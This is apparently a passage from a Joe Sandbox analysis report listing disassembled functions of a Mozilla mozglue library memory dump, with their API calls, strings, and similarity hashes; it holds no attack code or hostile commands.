Instruction ID: c8448132604f243b271b620274f46711ab7fba1cf273f0736a59eaadb12b623c
Opcode Fuzzy Hash: edb1749e390b4be92fdac12a7fd3b620272018227304aea8c2a7108f2e7090df
Instruction Fuzzy Hash: 61E0BF71740316ABEF015FA3D9C8B917AF8EB46354F104025AA85D1610DBBC8042CF1E

Function 6C607600 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 19libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(ntdll.dll,?,6C607592), ref: 6C607608
GetProcAddress.KERNEL32(00000000,NtUnmapViewOfSection), ref: 6C607627
FreeLibrary.KERNEL32(?,6C607592), ref: 6C60763C

Strings

NtUnmapViewOfSection, xrefs: 6C607621
ntdll.dll, xrefs: 6C607603

Memory Dump Source

Source File: 00000000.00000002.1914293841.000000006C5A1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.1914278097.000000006C5A0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1914340067.000000006C61D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1914359329.000000006C62E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1914375477.000000006C632000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: Library$AddressFreeLoadProc
String ID: NtUnmapViewOfSection$ntdll.dll
API String ID: 145871493-1050664331
Opcode ID: c50f41736b222fb8bdfc8e6f55adab255a57dc6e94e1769dcded437e086ae5f8
Instruction ID: 76eaabeebaae48c1bf1af0d1b26e7578d3a3296fe20e66457df4eaae0a4f987c
Opcode Fuzzy Hash: c50f41736b222fb8bdfc8e6f55adab255a57dc6e94e1769dcded437e086ae5f8
Instruction Fuzzy Hash: 0CE0BF707113159BDF005FA7ED987517AB8F756399F004115EA86D1B10D7BD80018F1D

Function 6C60BE50 Relevance: 7.7, APIs: 5, Instructions: 163memoryCOMMON

Download Yara Rule

APIs

memset.VCRUNTIME140(?,00000000,?,?,6C60BE49), ref: 6C60BEC4
RtlCaptureStackBackTrace.NTDLL ref: 6C60BEDE
memset.VCRUNTIME140(00000000,00000000,-00000008,?,6C60BE49), ref: 6C60BF38
RtlReAllocateHeap.NTDLL ref: 6C60BF83
RtlFreeHeap.NTDLL(6C60BE49,00000000), ref: 6C60BFA6

Memory Dump Source

Source File: 00000000.00000002.1914293841.000000006C5A1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.1914278097.000000006C5A0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1914340067.000000006C61D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1914359329.000000006C62E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1914375477.000000006C632000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: Heapmemset$AllocateBackCaptureFreeStackTrace
String ID:
API String ID: 2764315370-0
Opcode ID: 0bc3f7afbeb5b46df42425df507de119598400cf998ed7dcacb9eaaf28e6282d
Instruction ID: aa62fd6b6df0c29ddb4edfcd6b88aeb2f0c78a734e05832788f608522ca5a7d4
Opcode Fuzzy Hash: 0bc3f7afbeb5b46df42425df507de119598400cf998ed7dcacb9eaaf28e6282d
Instruction Fuzzy Hash: 6B519171B002058FE718CF69CE80BAAB7A6FFC5314F298639D516A7B54D730F9068B94

Function 6C5F8E00 Relevance: 7.6, APIs: 6, Instructions: 147COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000001,?,?,6C5EB58D,?,?,?,?,?,?,?,6C61D734,?,?,?,6C61D734), ref: 6C5F8E6E
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000004,?,?,6C5EB58D,?,?,?,?,?,?,?,6C61D734,?,?,?,6C61D734), ref: 6C5F8EBF
free.MOZGLUE(?,?,?,?,6C5EB58D,?,?,?,?,?,?,?,6C61D734,?,?,?), ref: 6C5F8F24
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000004,?,?,6C5EB58D,?,?,?,?,?,?,?,6C61D734,?,?,?,6C61D734), ref: 6C5F8F46
free.MOZGLUE(?,?,?,?,6C5EB58D,?,?,?,?,?,?,?,6C61D734,?,?,?), ref: 6C5F8F7A
free.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,?,?,?,6C5EB58D,?,?,?,?,?,?,?,6C61D734,?,?,?), ref: 6C5F8F8F

Memory Dump Source

Source File: 00000000.00000002.1914293841.000000006C5A1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.1914278097.000000006C5A0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1914340067.000000006C61D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1914359329.000000006C62E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1914375477.000000006C632000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: freemalloc
String ID:
API String ID: 3061335427-0
Opcode ID: 66e5875086ec4ed15332b0a4b85bb7aa4699b36b73c9d332b8a2c9ce6a595305
Instruction ID: 707bab24a3142175ac47226a82a74f39eeb8935633965fed151c006ef1f30dc7
Opcode Fuzzy Hash: 66e5875086ec4ed15332b0a4b85bb7aa4699b36b73c9d332b8a2c9ce6a595305
Instruction Fuzzy Hash: A25170B1A016168FEB18CF95DC8066EB3B2EF46318F15056AD526AB740E731F906CF92

Function 6C5A4DE0 Relevance: 7.6, APIs: 5, Instructions: 133stringCOMMON

Download Yara Rule

APIs

?DoubleToAscii@DoubleToStringConverter@double_conversion@@SAXNW4DtoaMode@12@HPADHPA_NPAH3@Z.MOZGLUE ref: 6C5A4E5A
?CreateDecimalRepresentation@DoubleToStringConverter@double_conversion@@ABEXPBDHHHPAVStringBuilder@2@@Z.MOZGLUE(?,?,?,?,?), ref: 6C5A4E97
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C5A4EE9
memcpy.VCRUNTIME140(?,?,00000000), ref: 6C5A4F02
?CreateExponentialRepresentation@DoubleToStringConverter@double_conversion@@ABEXPBDHHPAVStringBuilder@2@@Z.MOZGLUE(?,?,?,?), ref: 6C5A4F1E

Memory Dump Source

Source File: 00000000.00000002.1914293841.000000006C5A1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.1914278097.000000006C5A0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1914340067.000000006C61D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1914359329.000000006C62E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1914375477.000000006C632000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: String$Double$Converter@double_conversion@@$Builder@2@@CreateRepresentation@$Ascii@DecimalDtoaExponentialMode@12@memcpystrlen
String ID:
API String ID: 713647276-0
Opcode ID: ef70baefcd1f4a79c3cf146ffaf1c455e5738f363828de04a5c09904f4d6ad2a
Instruction ID: 8db71d70037b96a812adfac1e322eb98cf1e01d7fdad1c259b9b80c8434714b1
Opcode Fuzzy Hash: ef70baefcd1f4a79c3cf146ffaf1c455e5738f363828de04a5c09904f4d6ad2a
Instruction Fuzzy Hash: CC41AE716087419FC705CFAAC88095FBBE4BF89344F109A2DF56687741DB30E95ACB92

Function 6C5B1530 Relevance: 7.6, APIs: 5, Instructions: 98COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(-00000002,?,6C5B152B,?,?,?,?,6C5B1248,?), ref: 6C5B159C
memcpy.VCRUNTIME140(00000023,?,?,?,?,6C5B152B,?,?,?,?,6C5B1248,?), ref: 6C5B15BC
moz_xmalloc.MOZGLUE(-00000001,?,6C5B152B,?,?,?,?,6C5B1248,?), ref: 6C5B15E7
free.MOZGLUE(?,?,?,?,?,?,6C5B152B,?,?,?,?,6C5B1248,?), ref: 6C5B1606
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,?,6C5B152B,?,?,?,?,6C5B1248,?), ref: 6C5B1637

Memory Dump Source

Source File: 00000000.00000002.1914293841.000000006C5A1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.1914278097.000000006C5A0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1914340067.000000006C61D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1914359329.000000006C62E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1914375477.000000006C632000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: moz_xmalloc$_invalid_parameter_noinfo_noreturnfreememcpy
String ID:
API String ID: 733145618-0
Opcode ID: ae8c1c4aa4f5627fe729d6284e938991e374b3ced65b88ce2a870019a4f529a7
Instruction ID: 298714f61dcaf8340d150e5108cb3734292ae8fdebc9c09be1bbae8ce9459ab0
Opcode Fuzzy Hash: ae8c1c4aa4f5627fe729d6284e938991e374b3ced65b88ce2a870019a4f529a7
Instruction Fuzzy Hash: 5E31D872A001159BCB58CE78DD6146F7BA9FB863647340B2DE423EBBD4EB30D9148791

Function 6C60AD70 Relevance: 7.6, APIs: 5, Instructions: 93COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(00000000,?,00000000,?,?,6C61E330,?,6C5CC059), ref: 6C60AD9D

Part of subcall function 6C5BCA10: malloc.MOZGLUE(?), ref: 6C5BCA26

memset.VCRUNTIME140(00000000,00000000,00000000,00000000,?,?,6C61E330,?,6C5CC059), ref: 6C60ADAC
free.MOZGLUE(?,?,?,?,00000000,?,?,6C61E330,?,6C5CC059), ref: 6C60AE01
GetLastError.KERNEL32(?,00000000,?,?,6C61E330,?,6C5CC059), ref: 6C60AE1D
GetLastError.KERNEL32(?,00000000,00000000,00000000,?,?,?,00000000,?,?,6C61E330,?,6C5CC059), ref: 6C60AE3D

Memory Dump Source

Source File: 00000000.00000002.1914293841.000000006C5A1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.1914278097.000000006C5A0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1914340067.000000006C61D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1914359329.000000006C62E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1914375477.000000006C632000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: ErrorLast$freemallocmemsetmoz_xmalloc
String ID:
API String ID: 3161513745-0
Opcode ID: bd90c4d9d40508a33d2fa221abd3e9182c25b2d8f9c6cc278f2466702305c998
Instruction ID: 980a8026e768077b496859377dbc78bdc61d82841d51bbf210238037fef54601
Opcode Fuzzy Hash: bd90c4d9d40508a33d2fa221abd3e9182c25b2d8f9c6cc278f2466702305c998
Instruction Fuzzy Hash: 563182B1A002159FDB14DF798D44AABB7F8EF49660F15483DE84AE7701E734E805CBA8

Function 6C605EF0 Relevance: 7.6, APIs: 5, Instructions: 89COMMON

Download Yara Rule

APIs

?_Ipfx@?$basic_istream@DU?$char_traits@D@std@@@std@@QAE_N_N@Z.MSVCP140(00000001,00000000,6C61DCA0,?,?,?,6C5DE8B5,00000000), ref: 6C605F1F
?sgetc@?$basic_streambuf@DU?$char_traits@D@std@@@std@@QAEHXZ.MSVCP140(?,6C5DE8B5,00000000), ref: 6C605F4B
?snextc@?$basic_streambuf@DU?$char_traits@D@std@@@std@@QAEHXZ.MSVCP140(00000000,?,6C5DE8B5,00000000), ref: 6C605F7B
?clear@?$basic_ios@DU?$char_traits@D@std@@@std@@QAEXH_N@Z.MSVCP140(6E65475B,00000000,?,6C5DE8B5,00000000), ref: 6C605F9F
?sbumpc@?$basic_streambuf@DU?$char_traits@D@std@@@std@@QAEHXZ.MSVCP140(?,6C5DE8B5,00000000), ref: 6C605FD6

Memory Dump Source

Source File: 00000000.00000002.1914293841.000000006C5A1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.1914278097.000000006C5A0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1914340067.000000006C61D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1914359329.000000006C62E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1914375477.000000006C632000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: D@std@@@std@@U?$char_traits@$?clear@?$basic_ios@?sbumpc@?$basic_streambuf@?sgetc@?$basic_streambuf@?snextc@?$basic_streambuf@Ipfx@?$basic_istream@
String ID:
API String ID: 1389714915-0
Opcode ID: 4b5bf40d485bf47f4959bba8888fca314022499af2c53ea598304a17b11d3352
Instruction ID: bd21ee4c3a6a53e2151ce225b4ff387fd91c1c58f84c8595c3fa1cb1b9adebc2
Opcode Fuzzy Hash: 4b5bf40d485bf47f4959bba8888fca314022499af2c53ea598304a17b11d3352
Instruction Fuzzy Hash: F03117343006008FD714CF29C998A6ABBE5EF89318BA48958E5569B795CB39EC41CA88

Function 6C5AB4C0 Relevance: 7.6, APIs: 5, Instructions: 84COMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(00000000), ref: 6C5AB532
moz_xmalloc.MOZGLUE(?), ref: 6C5AB55B
memset.VCRUNTIME140(00000000,00000000,?), ref: 6C5AB56B
wcsncpy_s.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?), ref: 6C5AB57E
free.MOZGLUE(00000000), ref: 6C5AB58F

Memory Dump Source

Source File: 00000000.00000002.1914293841.000000006C5A1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.1914278097.000000006C5A0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1914340067.000000006C61D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1914359329.000000006C62E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1914375477.000000006C632000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: HandleModulefreememsetmoz_xmallocwcsncpy_s
String ID:
API String ID: 4244350000-0
Opcode ID: 26c82cff55d224b855ead318601609220217c564d308f83e716aea7e01c42299
Instruction ID: 615f74b9e40e044e93b2782b79110fad6349ce3f82877c2fe91aebbf32c33f63
Opcode Fuzzy Hash: 26c82cff55d224b855ead318601609220217c564d308f83e716aea7e01c42299
Instruction Fuzzy Hash: D521DB71A001099BDB00DFA6CC40B6EBBB9FF86314F244129E914D7341F775D916C7A1

Function 6C606E50 Relevance: 7.6, APIs: 5, Instructions: 72COMMON

Download Yara Rule

APIs

MozDescribeCodeAddress.MOZGLUE(?,?), ref: 6C606E78

Part of subcall function 6C606A10: InitializeCriticalSection.KERNEL32(6C62F618), ref: 6C606A68
Part of subcall function 6C606A10: GetCurrentProcess.KERNEL32 ref: 6C606A7D
Part of subcall function 6C606A10: GetCurrentProcess.KERNEL32 ref: 6C606AA1
Part of subcall function 6C606A10: EnterCriticalSection.KERNEL32(6C62F618), ref: 6C606AAE
Part of subcall function 6C606A10: strncpy.API-MS-WIN-CRT-STRING-L1-1-0(?,?,00000100), ref: 6C606AE1
Part of subcall function 6C606A10: strncpy.API-MS-WIN-CRT-STRING-L1-1-0(?,?,00000100), ref: 6C606B15
Part of subcall function 6C606A10: strncpy.API-MS-WIN-CRT-STRING-L1-1-0(?,?,00000100,?,?), ref: 6C606B65
Part of subcall function 6C606A10: LeaveCriticalSection.KERNEL32(6C62F618,?,?), ref: 6C606B83

MozFormatCodeAddress.MOZGLUE ref: 6C606EC1
fflush.API-MS-WIN-CRT-STDIO-L1-1-0(?), ref: 6C606EE1
_fileno.API-MS-WIN-CRT-STDIO-L1-1-0(?), ref: 6C606EED
_write.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000400), ref: 6C606EFF

Memory Dump Source

Source File: 00000000.00000002.1914293841.000000006C5A1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.1914278097.000000006C5A0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1914340067.000000006C61D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1914359329.000000006C62E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1914375477.000000006C632000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: CriticalSectionstrncpy$AddressCodeCurrentProcess$DescribeEnterFormatInitializeLeave_fileno_writefflush
String ID:
API String ID: 4058739482-0
Opcode ID: 50d98cac459cfccf3c67f7a526e0e3f1d5ce9d81a6d58c0ffebf5efd701370ed
Instruction ID: 2960a748ebed22b2b26b84daa4be406dcfcf13ce8fc13f28adfc13edaaf1d4e0
Opcode Fuzzy Hash: 50d98cac459cfccf3c67f7a526e0e3f1d5ce9d81a6d58c0ffebf5efd701370ed
Instruction Fuzzy Hash: 1921B0B1A0421A8FCB14CF29D9C569E77F5EF84308F044039E809A7240EB349A998F96

Function 6C5E0D60 Relevance: 7.5, APIs: 3, Strings: 2, Instructions: 41memoryCOMMON

Download Yara Rule

APIs

VirtualFree.KERNEL32(?,00000000,00008000,00003000,00003000,?,6C5A3DEF), ref: 6C5E0D71
VirtualAlloc.KERNEL32(?,08000000,00003000,00000004,?,6C5A3DEF), ref: 6C5E0D84
VirtualFree.KERNEL32(00000000,00000000,00008000,?,6C5A3DEF), ref: 6C5E0DAF

Strings

: (malloc) Error in VirtualFree(), xrefs: 6C5E0D97, 6C5E0DBE
<jemalloc>, xrefs: 6C5E0D92, 6C5E0DB9

Memory Dump Source

Source File: 00000000.00000002.1914293841.000000006C5A1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.1914278097.000000006C5A0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1914340067.000000006C61D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1914359329.000000006C62E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1914375477.000000006C632000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: Virtual$Free$Alloc
String ID: : (malloc) Error in VirtualFree()$<jemalloc>
API String ID: 1852963964-2186867486
Opcode ID: 9897a67e32c292d9dd0389f8ff36613e324f03738bcd7d909ac20c2941b742be
Instruction ID: de3898b8ffebf8e652b2d2dd900d6d85fb15fefb494ee03f35de1a3f3ea6d7ad
Opcode Fuzzy Hash: 9897a67e32c292d9dd0389f8ff36613e324f03738bcd7d909ac20c2941b742be
Instruction Fuzzy Hash: 0BF0893178439423E72016665D0AB6A266DE7C6B65F344037F205DADC4DF98E800ABAD

Function 6C5F7620 Relevance: 7.5, APIs: 5, Instructions: 35threadCOMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(0000002C,?,?,?,?,6C5F75C4,?), ref: 6C5F762B

Part of subcall function 6C5BCA10: malloc.MOZGLUE(?), ref: 6C5BCA26

InitializeConditionVariable.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,6C5F74D7,6C6015FC,?,?,?), ref: 6C5F7644
GetCurrentThreadId.KERNEL32 ref: 6C5F765A
AcquireSRWLockExclusive.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,6C5F74D7,6C6015FC,?,?,?), ref: 6C5F7663
ReleaseSRWLockExclusive.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,6C5F74D7,6C6015FC,?,?,?), ref: 6C5F7677

Memory Dump Source

Source File: 00000000.00000002.1914293841.000000006C5A1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.1914278097.000000006C5A0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1914340067.000000006C61D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1914359329.000000006C62E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1914375477.000000006C632000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireConditionCurrentInitializeReleaseThreadVariablemallocmoz_xmalloc
String ID:
API String ID: 418114769-0
Opcode ID: ac16d4d0d6f9beeaa3fbb56f12024aa09f9e55a9f530c3f4243e569b2ec277cb
Instruction ID: 1c75419332ee999be94102c42528ea51201a85dfbaf45b127cfcdbc58560bc9d
Opcode Fuzzy Hash: ac16d4d0d6f9beeaa3fbb56f12024aa09f9e55a9f530c3f4243e569b2ec277cb
Instruction Fuzzy Hash: B3F0C271E10745ABD7008F22C888676B778FFEB299F214316F94553601E7B4B5D18BD1

Function 6C5CD468 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 146COMMON

Download Yara Rule

APIs

Part of subcall function 6C5DCBE8: GetCurrentProcess.KERNEL32(?,6C5A31A7), ref: 6C5DCBF1
Part of subcall function 6C5DCBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6C5A31A7), ref: 6C5DCBFA

EnterCriticalSection.KERNEL32(6C62E784,?,?,?,?,?,?,?,00000000,74DF2FE0,00000001,?,6C5DD1C5), ref: 6C5CD4F2
LeaveCriticalSection.KERNEL32(6C62E784,?,?,?,?,?,?,?,00000000,74DF2FE0,00000001,?,6C5DD1C5), ref: 6C5CD50B

Part of subcall function 6C5ACFE0: EnterCriticalSection.KERNEL32(6C62E784), ref: 6C5ACFF6
Part of subcall function 6C5ACFE0: LeaveCriticalSection.KERNEL32(6C62E784), ref: 6C5AD026

InitializeCriticalSectionAndSpinCount.KERNEL32(0000000C,00001388,?,?,?,?,?,?,?,00000000,74DF2FE0,00000001,?,6C5DD1C5), ref: 6C5CD52E
EnterCriticalSection.KERNEL32(6C62E7DC), ref: 6C5CD690
LeaveCriticalSection.KERNEL32(6C62E784,?,?,?,?,?,?,?,00000000,74DF2FE0,00000001,?,6C5DD1C5), ref: 6C5CD751

Strings

MOZ_CRASH(), xrefs: 6C5CD4BB

Memory Dump Source

Source File: 00000000.00000002.1914293841.000000006C5A1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.1914278097.000000006C5A0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1914340067.000000006C61D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1914359329.000000006C62E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1914375477.000000006C632000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeave$Process$CountCurrentInitializeSpinTerminate
String ID: MOZ_CRASH()
API String ID: 3805649505-2608361144
Opcode ID: 01c8af8999fa44f848580e7a7b5695c36d775f1fb278ff12e4fb0165670c9d1c
Instruction ID: 6073f7b52de7276c14624d6453a21e25677ccea06243d0b83af71556857c1beb
Opcode Fuzzy Hash: 01c8af8999fa44f848580e7a7b5695c36d775f1fb278ff12e4fb0165670c9d1c
Instruction Fuzzy Hash: D651FF71B047018FD314CF69C99471AB7F1EB89304F558A2ED9AAC7B84D774E840CB86

Function 6C5F4630 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 138COMMON

Download Yara Rule

APIs

__aulldiv.LIBCMT ref: 6C5F4721

Strings

., xrefs: 6C5F476A
-%llu, xrefs: 6C5F4733
profiler-paused, xrefs: 6C5F46E4

Memory Dump Source

Source File: 00000000.00000002.1914293841.000000006C5A1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.1914278097.000000006C5A0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1914340067.000000006C61D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1914359329.000000006C62E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1914375477.000000006C632000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: __aulldiv
String ID: -%llu$.$profiler-paused
API String ID: 3732870572-2661126502
Opcode ID: 02d2431436505ea390332891be45be20aafe35a8cb4bc334b1bae0802a016e4a
Instruction ID: fb0346b79a0459fbead43eeb43d10f9d903501105c760a2504206c716e89d68f
Opcode Fuzzy Hash: 02d2431436505ea390332891be45be20aafe35a8cb4bc334b1bae0802a016e4a
Instruction Fuzzy Hash: 22414871A047089BCB08DF7DDD9115EBBF5EF85344F10863EE865A7B41EB3498068B46

Function 6C5F46E0 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 115COMMON

Download Yara Rule

APIs

__aulldiv.LIBCMT ref: 6C5F4721

Part of subcall function 6C5A4410: __stdio_common_vsprintf.API-MS-WIN-CRT-STDIO-L1-1-0(?,?,6C5E3EBD,00000017,?,00000000,?,6C5E3EBD,?,?,6C5A42D2), ref: 6C5A4444

Strings

., xrefs: 6C5F476A
-%llu, xrefs: 6C5F4733
profiler-paused, xrefs: 6C5F46E4

Memory Dump Source

Source File: 00000000.00000002.1914293841.000000006C5A1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.1914278097.000000006C5A0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1914340067.000000006C61D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1914359329.000000006C62E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1914375477.000000006C632000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: __aulldiv__stdio_common_vsprintf
String ID: -%llu$.$profiler-paused
API String ID: 680628322-2661126502
Opcode ID: 378382522e1ec86daa7a7dca2baba677621098ee0109571fd7a527e36f43e025
Instruction ID: bd26a1c4ab554642d0468cab29256e0184eeef609df12e389fb0870c63421e3d
Opcode Fuzzy Hash: 378382522e1ec86daa7a7dca2baba677621098ee0109571fd7a527e36f43e025
Instruction Fuzzy Hash: 13311471F052088BCB0CDF6DDC8129EBBE69B88314F15853EE9159BB41EB7499068B94

Function 6C5FB410 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 104stringCOMMON

Download Yara Rule

APIs

Part of subcall function 6C5A4290: strlen.API-MS-WIN-CRT-STRING-L1-1-0(6C5E3EBD,6C5E3EBD,00000000), ref: 6C5A42A9

tolower.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?,?,?,?,?,?,?,?,?,?,?,6C5FB127), ref: 6C5FB463
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C5FB4C9
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(FFFFFFFF,pid:,00000004), ref: 6C5FB4E4

Strings

pid:, xrefs: 6C5FB4DE

Memory Dump Source

Source File: 00000000.00000002.1914293841.000000006C5A1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.1914278097.000000006C5A0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1914340067.000000006C61D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1914359329.000000006C62E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1914375477.000000006C632000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: _getpidstrlenstrncmptolower
String ID: pid:
API String ID: 1720406129-3403741246
Opcode ID: 4d883a7927769a94d0ee5f79526be02d1108bcdbba14c08db3a1fe8a43189b6b
Instruction ID: 8210f7f9c2f7351a1b93f7acc946bda6fccc1073beab081611a6374596c80917
Opcode Fuzzy Hash: 4d883a7927769a94d0ee5f79526be02d1108bcdbba14c08db3a1fe8a43189b6b
Instruction Fuzzy Hash: 8C311531A01204DBDB04EFA9DD84ADEB7B6FF44308F540529D86167A41E736E94ACFA1

Function 6C5EE550 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 47threadCOMMON

